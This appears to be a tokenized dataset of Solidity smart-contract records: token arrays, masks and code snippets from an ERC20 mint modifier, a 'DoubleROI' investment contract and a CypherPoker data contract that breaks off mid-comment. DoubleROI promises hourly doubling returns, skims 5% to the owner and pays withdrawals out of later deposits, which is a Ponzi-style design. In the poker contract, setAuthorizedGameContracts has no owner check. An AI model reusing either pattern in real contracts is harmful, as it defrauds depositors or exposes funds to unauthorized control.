[ 1, 17801, 6835, 4232, 39, 3462, 9123, 305, 353, 4232, 39, 3462, 288, 203, 225, 2874, 12, 2867, 516, 2254, 5034, 13, 3238, 389, 5836, 764, 31, 203, 203, 225, 1731, 1578, 3238, 5381, 389, 3194, 6068, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 12, 203, 565, 315, 9123, 305, 12, 2867, 3410, 16, 2867, 17571, 264, 16, 11890, 5034, 460, 16, 11890, 5034, 7448, 16, 11890, 5034, 14096, 2225, 203, 225, 11272, 203, 203, 225, 2874, 12, 11890, 5034, 516, 1731, 1578, 13, 3238, 389, 4308, 16842, 3062, 31, 203, 203, 203, 203, 225, 3885, 1435, 2713, 288, 203, 565, 389, 2725, 3748, 6581, 5621, 203, 225, 289, 203, 203, 225, 445, 21447, 12, 203, 565, 1758, 3410, 16, 203, 565, 1758, 17571, 264, 16, 203, 565, 2254, 5034, 3844, 16, 203, 565, 2254, 5034, 14096, 16, 203, 565, 2254, 28, 331, 16, 203, 565, 1731, 1578, 436, 16, 203, 565, 1731, 1578, 272, 203, 225, 262, 1071, 288, 203, 565, 2583, 12, 2629, 4921, 1435, 1648, 14096, 16, 315, 654, 39, 3462, 9123, 305, 30, 7708, 14096, 8863, 203, 203, 565, 1731, 1578, 1651, 3823, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 24899, 3194, 6068, 67, 2399, 15920, 16, 3410, 16, 17571, 264, 16, 3844, 16, 389, 5836, 764, 63, 8443, 6487, 14096, 10019, 203, 203, 565, 1731, 1578, 1651, 273, 417, 24410, 581, 5034, 12, 21457, 18, 3015, 4420, 329, 12, 11890, 2313, 12, 20, 92, 3657, 1611, 3631, 389, 4308, 6581, 9334, 1651, 3823, 10019, 203, 203, 565, 2 ]
./full_match/80001/0x63F19192492859e5AC6A531B6CF1397454E16074/sources/Pearlium.sol
* @dev Emitted during finish minting/* @dev Tokens can be minted only before minting finished./
modifier canMint() { require(!_mintingFinished, "ERC20Mintable: Minting is finished"); _; }
847,120
[ 1, 1514, 11541, 4982, 4076, 312, 474, 310, 19, 225, 13899, 848, 506, 312, 474, 329, 1338, 1865, 312, 474, 310, 6708, 18, 19, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 9606, 848, 49, 474, 1435, 288, 203, 3639, 2583, 12, 5, 67, 81, 474, 310, 10577, 16, 315, 654, 39, 3462, 49, 474, 429, 30, 490, 474, 310, 353, 6708, 8863, 203, 3639, 389, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.4.24; /** Double% Earn 10% per hour, double your %ROI every hour you HODL! First hour: 10% Second hour: 20% Third hour: 40% ...etc... */ contract DoubleROI { using SafeMath for uint256; mapping(address => uint256) investments; mapping(address => uint256) joined; mapping(address => uint256) referrer; uint256 public step = 2400; uint256 public minimum = 10 finney; uint256 public maximum = 5 ether; uint256 public stakingRequirement = 0.5 ether; address public ownerWallet; address public owner; event Invest(address investor, uint256 amount); event Withdraw(address investor, uint256 amount); event Bounty(address hunter, uint256 amount); event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev Сonstructor Sets the original roles of the contract */ constructor() public { owner = msg.sender; ownerWallet = msg.sender; } /** * @dev Modifiers */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. * @param newOwnerWallet The address to transfer ownership to. */ function transferOwnership(address newOwner, address newOwnerWallet) public onlyOwner { require(newOwner != address(0)); emit OwnershipTransferred(owner, newOwner); owner = newOwner; ownerWallet = newOwnerWallet; } /** * @dev Investments */ function () public payable { buy(0x0); } function buy(address _referredBy) public payable { require(msg.value >= minimum); require(msg.value <= maximum); address _customerAddress = msg.sender; if( // is this a referred purchase? _referredBy != 0x0000000000000000000000000000000000000000 && // no cheating! _referredBy != _customerAddress && // does the referrer have at least X whole tokens? // i.e is the referrer a godly chad masternode investments[_referredBy] >= stakingRequirement ){ // wealth redistribution referrer[_referredBy] = referrer[_referredBy].add(msg.value.mul(5).div(100)); } if (investments[msg.sender] > 0){ withdraw(); } investments[msg.sender] = investments[msg.sender].add(msg.value); joined[msg.sender] = block.timestamp; ownerWallet.transfer(msg.value.mul(5).div(100)); emit Invest(msg.sender, msg.value); } /** * @dev Evaluate current balance * @param _address Address of investor */ function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); // update roi multiplier // 10% flat during first hour // 20% flat during second hour // 40% flat during third hour uint256 userROIMultiplier = 2**(minutesCount / 60); uint256 percent; uint256 balance; for(uint i=1; i<userROIMultiplier; i=i*2){ // add each percent - // first hour is 10% // second hour is 20% // third hour is 40% // etc - add all these up percent = investments[_address].mul(step).div(1000) * i; balance += percent.mul(60).div(1440); } // Finally, add the balance for the current multiplier percent = investments[_address].mul(step).div(1000) * userROIMultiplier; balance += percent.mul(minutesCount % 60).div(1440); return balance; } /** * @dev Withdraw dividends from contract */ function withdraw() public returns (bool){ require(joined[msg.sender] > 0); uint256 balance = getBalance(msg.sender); // Reset ROI mulitplier of user joined[msg.sender] = block.timestamp; if (address(this).balance > balance){ if (balance > 0){ msg.sender.transfer(balance); emit Withdraw(msg.sender, balance); } return true; } else { if (balance > 0) { msg.sender.transfer(address(this).balance); emit Withdraw(msg.sender, balance); } return true; } } /** * @dev Bounty reward */ function bounty() public { uint256 refBalance = checkReferral(msg.sender); if(refBalance >= minimum) { if (address(this).balance > refBalance) { referrer[msg.sender] = 0; msg.sender.transfer(refBalance); emit Bounty(msg.sender, refBalance); } } } /** * @dev Gets balance of the sender address. * @return An uint256 representing the amount owned by the msg.sender. */ function checkBalance() public view returns (uint256) { return getBalance(msg.sender); } /** * @dev Gets investments of the specified address. * @param _investor The address to query the the balance of. * @return An uint256 representing the amount owned by the passed address. */ function checkInvestments(address _investor) public view returns (uint256) { return investments[_investor]; } /** * @dev Gets referrer balance of the specified address. * @param _hunter The address of the referrer * @return An uint256 representing the referral earnings. */ function checkReferral(address _hunter) public view returns (uint256) { return referrer[_hunter]; } } /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn&#39;t hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } }
* @dev Evaluate current balance @param _address Address of investor/ update roi multiplier 10% flat during first hour 20% flat during second hour 40% flat during third hour add each percent - first hour is 10% second hour is 20% third hour is 40% etc - add all these up
function getBalance(address _address) view public returns (uint256) { uint256 minutesCount = now.sub(joined[_address]).div(1 minutes); uint256 userROIMultiplier = 2**(minutesCount / 60); uint256 percent; uint256 balance; for(uint i=1; i<userROIMultiplier; i=i*2){ percent = investments[_address].mul(step).div(1000) * i; balance += percent.mul(60).div(1440); } balance += percent.mul(minutesCount % 60).div(1440); return balance; }
15,118,329
[ 1, 15369, 783, 11013, 225, 389, 2867, 5267, 434, 2198, 395, 280, 19, 1089, 25017, 15027, 1728, 9, 3569, 4982, 1122, 6126, 4200, 9, 3569, 4982, 2205, 6126, 8063, 9, 3569, 4982, 12126, 6126, 527, 1517, 5551, 300, 1122, 6126, 353, 1728, 9, 2205, 6126, 353, 4200, 9, 12126, 6126, 353, 8063, 9, 5527, 300, 527, 777, 4259, 731, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 2882, 6112, 12, 2867, 389, 2867, 13, 1476, 1071, 1135, 261, 11890, 5034, 13, 288, 203, 3639, 2254, 5034, 6824, 1380, 273, 2037, 18, 1717, 12, 5701, 329, 63, 67, 2867, 65, 2934, 2892, 12, 21, 6824, 1769, 203, 540, 203, 3639, 2254, 5034, 729, 1457, 3445, 2948, 5742, 273, 576, 636, 12, 17916, 1380, 342, 4752, 1769, 203, 540, 203, 3639, 2254, 5034, 5551, 31, 203, 3639, 2254, 5034, 11013, 31, 203, 540, 203, 3639, 364, 12, 11890, 277, 33, 21, 31, 277, 32, 1355, 1457, 3445, 2948, 5742, 31, 277, 33, 77, 14, 22, 15329, 203, 5411, 5551, 273, 2198, 395, 1346, 63, 67, 2867, 8009, 16411, 12, 4119, 2934, 2892, 12, 18088, 13, 380, 277, 31, 203, 5411, 11013, 1011, 5551, 18, 16411, 12, 4848, 2934, 2892, 12, 3461, 7132, 1769, 203, 2398, 203, 3639, 289, 203, 540, 203, 3639, 11013, 1011, 5551, 18, 16411, 12, 17916, 1380, 738, 4752, 2934, 2892, 12, 3461, 7132, 1769, 203, 203, 3639, 327, 11013, 31, 203, 565, 289, 203, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
pragma solidity ^0.5.8; /** * * Manages data storage for a single CypherPoker hand (round), and provides some publicly-available utility functions. * * (C)opyright 2016 * * This source code is protected by copyright and distributed under license. * Please see the root LICENSE file for terms and conditions. * */ contract PokerHandData { //Single card definition including card's sorting index within the entire deck (1-52), suit value (0 to 3), and value (1 to 13 or 14 if aces are high) struct Card { uint index; uint suit; uint value; } //A group of Card structs. struct CardGroup { Card[] cards; } //Encryption / decryption key definition including the encryption key, decryption key, and prime modulus. struct Key { uint256 encKey; uint256 decKey; uint256 prime; } address public owner; //the contract's owner / publisher address[] public authorizedGameContracts; //the "PokerHand*" contracts exclusively authorized to make changes in this contract's data. This value may only be changed when initReady is ready. uint public numAuthorizedContracts; //set when authorizedGameContracts is set address[] public players; //players, in order of play, who must agree to contract before game play may begin; the last player is the dealer, player 1 (index 0) is small blind, player 2 (index 2) is the big blind uint256 public buyIn; //buy-in value, in wei, required in order to agree to the contract mapping (address => bool) public agreed; //true for all players who agreed to this contract; only players in "players" struct may agree uint256 public prime; //shared prime modulus uint256 public baseCard; //base or first plaintext card in the deck (all subsequent cards are quadratic residues modulo prime) mapping (address => uint256) public playerBets; //stores cumulative bets per betting round (reset before next) mapping (address => uint256) public playerChips; //the players' chips, wallets, or purses on which players draw on to make bets, currently equivalent to the wei value sent to the contract. mapping (address => bool) public playerHasBet; //true if the player has placed a bet during the current active betting round (since bets of 0 are valid) bool public bigBlindHasBet; //set to true after initial big blind commitment in order to allow big blind to raise during first round uint256 public pot; //total cumulative pot for hand uint public betPosition; //current betting player index (in players array) mapping (address => uint256[52]) public encryptedDeck; //incrementally encrypted decks; deck of players[players.length-1] is the final encrypted deck mapping (address => uint256[2]) public privateCards; //selected encrypted private/hole cards per player struct DecryptPrivateCardsStruct { address sourceAddr; //the source player providing the partially decrypted cards address targetAddr; //the target player for whom the partially decrypted cards are intended uint256[2] cards; //the two partially decrypted private/hole cards } DecryptPrivateCardsStruct[] public privateDecryptCards; //stores partially decrypted private/hole cards for players uint256[5] public publicCards; //selected encrypted public cards mapping (address => uint256[5]) public publicDecryptCards; //stores partially decrypted public/community cards mapping (address => Key[]) public playerKeys; //players' crypto keypairs //Indexes to the cards comprising the players' best hands. Indexes 0 and 1 are the players' private cards and 2 to 6 are indexes //of public cards. All five values are supplied during teh final L1Validate call and must be unique and be in the range 0 to 6 in order to be valid. mapping (address => uint[5]) public playerBestHands; mapping (address => Card[]) public playerCards; //final decrypted cards for players (as generated from playerBestHands) mapping (address => uint256) public results; //hand ranks per player or numeric score representing actions (1=fold lost, 2=fold win, 3=concede loss, 4=concede win, otherwise hand score) mapping (address => address) public declaredWinner; //address of the self-declared winner of the contract (may be challenged) address[] public winner; //address of the hand's/contract's resolved or actual winner(s) uint public lastActionBlock; //block number of the last valid player action that was committed. This value is set to the current block on every new valid action. uint public timeoutBlocks; //the number of blocks that may elapse before the next valid player's (lack of) action is considered to have timed out uint public initBlock; //the block number on which the "initialize" function was called; used to validate signed transactions mapping (address => uint) public nonces; //unique nonces used per contract to ensure that signed transactions aren't re-used mapping (address => uint) public validationIndex; //highest successfully completed validation index for each player address public challenger; //the address of the current contract challenger / validation initiator bool public complete; //contract is completed. bool public initReady; //contract is ready for initialization call (all data reset) /** * Phase values: * 0 - Agreement (not all players have agreed to contract yet)contract * 1 - Encrypted deck storage (all players have agreed to contract) * 2 - Private/hole cards selection * 3 - Interim private cards decryption * 4 - Betting * 5 - Flop cards selection * 6 - Interim flop cards decryption * 7 - Betting * 8 - Turn card selection * 9 - Interim turn card decryption * 10 - Betting * 11 - River card selection * 12 - Interim river card decryption * 13 - Betting * 14 - Declare winner * 15 - Resolution * 16 - Level 1 challenge - submit crypto keys * 17 - Level 2 challenge - full contract verification * 18 - Payout / hand complete * 19 - Mid-game challenge * 20 - Hand complete (unchallenged / signed contract game) * 21 - Contract complete (unchallenged / signed contract game) */ mapping (address => uint8) public phases; /** * Contract constructor. */ constructor() public { owner = msg.sender; complete = true; initReady = true; //ready for initialize } /** * Modifier for functions to allow access only by addresses contained in the "authorizedGameContracts" array. */ modifier onlyAuthorized { uint allowedContractsFound = 0; for (uint count=0; count<authorizedGameContracts.length; count++) { if (msg.sender == authorizedGameContracts[count]) { allowedContractsFound++; } } if (allowedContractsFound == 0) { revert(); } _; } /** * Anonymous fallback function. */ function () external { revert(); } /* * Sets the "agreed" flag to true for the transaction sender. Only accounts registered during the "initialize" * call are allowed to agree. Once all valid players have agreed the block timeout is started and the next * player must commit the next valid action before the timeout has elapsed. * * The value sent with this function invocation must equal the "buyIn" value (wei) exactly, otherwise * an exception is thrown and any included value is refunded. Only when the buy-in value is matched exactly * will the "agreed" flag for the player be set and the phase updated to 1. * * @param nonce A unique nonce to store for the player for this contract. This value must not be re-used until the contract is closed * and paid-out in order to prevent re-use of signed transactions. */ function agreeToContract(uint256 nonce) payable public { bool found = false; for (uint count=0; count<players.length; count++) { if (msg.sender == players[count]) { found = true; } } if (found == false) { revert(); } if (playerChips[msg.sender] == 0) { if (msg.value != buyIn) { revert(); } //include additional validation deposit calculations here if desired playerChips[msg.sender] = msg.value; } agreed[msg.sender]=true; phases[msg.sender]=1; playerBets[msg.sender] = 0; playerHasBet[msg.sender] = false; validationIndex[msg.sender] = 0; nonces[msg.sender] = nonce; } /** * Initializes the data contract. * * @param primeVal The shared prime modulus on which plaintext card values are based and from which encryption/decryption keys are derived. * @param baseCardVal The value of the base or first card of the plaintext deck. The next 51 ascending quadratic residues modulo primeVal are assumed to * comprise the remainder of the deck (see "getCardIndex" for calculations). * @param buyInVal The exact per-player buy-in value, in wei, that must be sent when agreeing to the contract. Must be greater than 0. * @param timeoutBlocksVal The number of blocks that elapse between the current block and lastActionBlock before the current valid player is * considered to have timed / dropped out if they haven't committed a valid action. A minimum of 2 blocks (roughly 24 seconds), is imposed but * a slightly higher value is highly recommended. * */ function initialize(uint256 primeVal, uint256 baseCardVal, uint256 buyInVal, uint timeoutBlocksVal) public onlyAuthorized { prime = primeVal; baseCard = baseCardVal; buyIn = buyInVal; timeoutBlocks = timeoutBlocksVal; initBlock = block.number; initReady = false; } /** * Accesses partially decrypted private/hole cards for a player that has agreed to the contract. * * @param sourceAddr The source player that provided the partially decrypted cards for the target. * @param targetAddr The target player for whom the partially descrypted cards were intended. * @param cardIndex The index of the card (0 or 1) to retrieve. * * @return The partially decrypted private card record found at the specified index for the specified player. */ function getPrivateDecryptCard(address sourceAddr, address targetAddr, uint cardIndex) view public returns (uint256) { for (uint8 count=0; count < privateDecryptCards.length; count++) { if ((privateDecryptCards[count].sourceAddr == sourceAddr) && (privateDecryptCards[count].targetAddr == targetAddr)) { return (privateDecryptCards[count].cards[cardIndex]); } } } /** * Checks if all valild/agreed players are at a specific game phase. * * @param phaseNum The phase number that all agreed players should be at. * * @return True if all agreed players are at the specified game phase, false otherwise. */ function allPlayersAtPhase(uint phaseNum) public view returns (bool) { for (uint count=0; count < players.length; count++) { if (phases[players[count]] != phaseNum) { return (false); } } return (true); } //--------------------------------------------------- // PUBLICLY ACCESSIBLE UTILITY FUNCTIONS //--------------------------------------------------- /** * @return The number of players in the 'players' array. */ function num_Players() public view returns (uint) { return (players.length); } /** * @param target The address of the target agreed player for which to retrieve the number of stored keypairs. * * @return The number of keypairs stored for the target player address. */ function num_Keys(address target) public view returns (uint) { return (playerKeys[target].length); } /** * @param target The address of the target agreed player for which to retrieve the number of cards in the 'playerCards' array. * * @return The number of cards stored for the target player in the 'playerCards' array. */ function num_PlayerCards(address target) public view returns (uint) { return (playerCards[target].length); } /** * @param targetAddr The address of the target agreed player for which to retrieve the number of cards in the 'privateCards' array. * * @return The number of cards stored for the target player in the 'privateCards' array. */ function num_PrivateCards(address targetAddr) public returns (uint) { return (DataUtils.arrayLength2(privateCards[targetAddr])); } /** * @return The number of cards stored in the 'publicCards' array. */ function num_PublicCards() public returns (uint) { return (DataUtils.arrayLength5(publicCards)); } /** * @param sourceAddr The source or sending address of the player who stored the partially-decrypted private cards for the * player specified by the 'targetAddr' address. * @param targetAddr The target address of the player for whom the partially-decrypted cards are being stored by the 'sourceAddr' * player's address. * * @return The number of partially-decrypted private cards stored for the 'targetAddr' player by the 'sourceAddr' player. */ function num_PrivateDecryptCards(address sourceAddr, address targetAddr) public returns (uint) { for (uint8 count=0; count < privateDecryptCards.length; count++) { if ((privateDecryptCards[count].sourceAddr == sourceAddr) && (privateDecryptCards[count].targetAddr == targetAddr)) { return (privateDecryptCards[count].cards.length); } } return (0); } /** * @return The number of addresses stored in the 'winner' array. */ function num_winner() public returns (uint) { return (winner.length); } /** * Sets the 'authorizedGameContracts' array to the specified addresses. The 'initReady' and 'complete' flags must * be trued before this function is invoked otherwise an exception is thrown. * * @param contractAddresses An array of addresses that are to be authorized to invoke functions in this contract once it's * been initialized. Typically these are addresses of external "PokerHand*" contracts but may include standard account * addresses as well. */ function setAuthorizedGameContracts (address[] memory contractAddresses) public { if ((initReady == false) || (complete == false)) { revert(); } authorizedGameContracts=contractAddresses; numAuthorizedContracts = authorizedGameContracts.length; } //--------------------------------------------------- // AUTHORIZED CONTRACT / ADDRESS UTILITY FUNCTIONS //--------------------------------------------------- /** * Adds a card for a specific player to the end of the 'playerCards' array. * * @param playerAddress The target address of the agreed player for whom to store the card. * @param index The index value of the card to store. * @param suit The suit value of the card to store. * @param value The face value of the card to store. */ function add_playerCard(address playerAddress, uint index, uint suit, uint value) public onlyAuthorized { playerCards[playerAddress].push(Card(index, suit, value)); } /** * Updates a card for a specific player within the 'playerCards' array. * * @param playerAddress The target address of the agreed player for whom to update the card. * @param cardIndex The index of the card within the 'playerCards' array for the 'playerAddress' player. * @param index The index value of the card to update. * @param suit The suit value of the card to update. * @param value The face value of the card to update. */ function update_playerCard(address playerAddress, uint cardIndex, uint index, uint suit, uint value) public onlyAuthorized { playerCards[playerAddress][cardIndex].index = index; playerCards[playerAddress][cardIndex].suit = suit; playerCards[playerAddress][cardIndex].value = value; } /** * Sets the validation index value for a specific player address. * * @param playerAddress The address of the player to set the validation index value for. * @param index The validation index value to set. */ function set_validationIndex(address playerAddress, uint index) public onlyAuthorized { if (index == 0) { } else { validationIndex[playerAddress] = index; } } /** * Sets or resets a result value for an agreed player in the 'results' array. * * @param playerAddress The address of the player to set the result for. * @param result The result value to set. If 0 the entry is removed from the 'results' array. */ function set_result(address playerAddress, uint256 result) public onlyAuthorized { if (result == 0) { delete results[playerAddress]; } else { results[playerAddress] = result; } } /** * Sets the 'complete' flag value. * * @param completeSet The value to set the 'complete' flag to. */ function set_complete (bool completeSet) public onlyAuthorized { complete = completeSet; } /** * Sets a public card value in the 'publicCards' array. * * @param card The card value to set. * @param index The index within the 'publicCards' array to set the value to. */ function set_publicCard (uint256 card, uint index) public onlyAuthorized { publicCards[index] = card; } /** * Adds newly encrypted cards for an address or clears out the 'encryptedDeck' data for the address. * * @param fromAddr The target address of the player for which to set the encrypted cdeck values. * @param cards The array of cards encrypted by the 'fromAddr' player to store in the 'encryptedDeck' array. If this is * an empty array the elements for the 'fromAddr' player address are cleared from the 'encryptedDeck' array. */ function set_encryptedDeck (address fromAddr, uint256[] memory cards) public onlyAuthorized { if (cards.length == 0) { /* for (uint count2=0; count2<52; count2++) { delete encryptedDeck[fromAddr][count2]; } */ delete encryptedDeck[fromAddr]; } else { for (uint8 count=0; count < cards.length; count++) { encryptedDeck[fromAddr][DataUtils.arrayLength52(encryptedDeck[fromAddr])] = cards[count]; } } } /** * Adds or resets private card selection(s) for a player address to the 'privateCards' array. * * @param fromAddr The player address for which to add private card selections. * @param cards The card(s) to add to the 'privateCards' array for the 'fromAddr' player address. If this is an * empty array the existing elements in 'privateCards' for the 'fromAddr' address are cleared. */ function set_privateCards (address fromAddr, uint256[] memory cards) public onlyAuthorized { if (cards.length == 0) { for (uint8 count=0; count<2; count++) { delete privateCards[fromAddr][count]; } delete privateCards[fromAddr]; for (uint8 count= 0; count<playerCards[fromAddr].length; count++) { delete playerCards[fromAddr][count]; } delete playerCards[fromAddr]; } else { for (uint8 count=0; count<cards.length; count++) { privateCards[fromAddr][DataUtils.arrayLength2(privateCards[fromAddr])] = cards[count]; } } } /** * Sets the betting position as an offset within the players array. The current betting player address is 'players[betPosition]'. * * @param betPositionVal The bet position value to assign to the 'betPosition' variable. */ function set_betPosition (uint betPositionVal) public onlyAuthorized { betPosition = betPositionVal; } /** * Sets the 'bigBlindHasBet' flag value. When true this flag indicates that at least one complete round of betting has completed. * * @param bigBlindHasBetVal The value to assign to the 'bigBlindHasBet' variable. * */ function set_bigBlindHasBet (bool bigBlindHasBetVal) public onlyAuthorized { bigBlindHasBet = bigBlindHasBetVal; } /** * Sets the 'playerHasBet' flag for a specific agreed player address. When true this flag indicates that the associated player * has bet during this round of betting. * * @param fromAddr The agreed player address to set the 'playerHasBet' flag for. * @param hasBet The value to assign to the 'playerHasBet' array for the 'fromAddr' player address. */ function set_playerHasBet (address fromAddr, bool hasBet) public onlyAuthorized { playerHasBet[fromAddr] = hasBet; } /** * Sets the bet value for a player in the 'playerBets' array. * * @param fromAddr The address of the agreed player for which to set the bet value. * @param betVal The bet value, in wei, to set for the 'fromAddr' player address. */ function set_playerBets (address fromAddr, uint betVal) public onlyAuthorized { playerBets[fromAddr] = betVal; } /** * Sets the chips value for a player in the 'playerChips' array. * * @param forAddr The agreed player address for which to set the chips value. * @param numChips The number of chips, in wei, to set for the 'forAddr' player address. */ function set_playerChips (address forAddr, uint numChips) public onlyAuthorized { playerChips[forAddr] = numChips; } /** * Sets the 'pot' variable value. * * @param potVal The pot value, in wei, to assign to the 'pot' variable. */ function set_pot (uint potVal) public onlyAuthorized { pot = potVal; } /** * Sets the contract agreed value of a player in the 'agreed' array. * * @param fromAddr The address of the player for which to set the agreement flag. This player should * appear in the 'players' array. * @param agreedVal The value to assign to the 'agreed' array for the 'fromAddr' player address. */ function set_agreed (address fromAddr, bool agreedVal) public onlyAuthorized { agreed[fromAddr] = agreedVal; } /** * Adds a winning player's address to the end of the 'winner' array. * * @param winnerAddress The agreed player address to add to the end of the 'winner' array. */ function add_winner (address winnerAddress) public onlyAuthorized { winner.push(winnerAddress); } /** * Clears/resets the contents of the 'winner' array. */ function clear_winner () public onlyAuthorized { winner.length=0; } /** * Sets or resets the 'players' array with the addresses supplied, optionally resetting 'nonces' and 'initReady' values. * * @param newPlayers The addresses of the players to assign to the 'players' array. Each of these * addresses must agree to the contract before a game can begin. If an empty array is supplied, the 'players' * and 'nonces' arrays are cleared/reset, and the 'initReady' flag is set to true. */ function new_players (address[] memory newPlayers) public onlyAuthorized { if (newPlayers.length == 0) { for (uint count=0; count<players.length; count++) { delete nonces[players[count]]; } } players = newPlayers; if (newPlayers.length == 0) { initReady=true; } } /** * Sets the game phase in the 'phases' array for a specific player address. * * @param fromAddr The agreed player address for which to set the phase value. * @param phaseNum The phase number to set for the 'fromAddr' player address. */ function set_phase (address fromAddr, uint8 phaseNum) public onlyAuthorized { phases[fromAddr] = phaseNum; } /** * Sets the last action block time value, 'lastActionBlock', for this contract. * * @param blockNum The block number to assign to the 'lastActionlock' variable. */ function set_lastActionBlock(uint blockNum) public onlyAuthorized { lastActionBlock = blockNum; } /** * Sets or resets the partial private card decryptions in the 'privateDecryptCards' array for a player address from a decrypting player. * * @param fromAddr The sending or decrypting agreed player address that is supplying the partially-decrypted card values. * @param cards The partially-decrypted cards being stored for the 'targetAddr' player address. If this is an empty array * all of the elements of 'privateDecryptCards' are cleared / reset (for all players). * @param targetAddr The target agreed player address to whom the partially-decrypted card selections belong. */ function set_privateDecryptCards (address fromAddr, uint256[] memory cards, address targetAddr) public onlyAuthorized { if (cards.length == 0) { for (uint8 count=0; count < privateDecryptCards.length; count++) { delete privateDecryptCards[count]; } } else { uint structIndex = privateDecryptCardsIndex(fromAddr, targetAddr); for (uint8 count=0; count < cards.length; count++) { privateDecryptCards[structIndex].cards[DataUtils.arrayLength2(privateDecryptCards[structIndex].cards)] = cards[count]; } } } /** * Adds or resets encrypted public card selections to the 'publicCards' array. * * @param fromAddr The sending agreed player 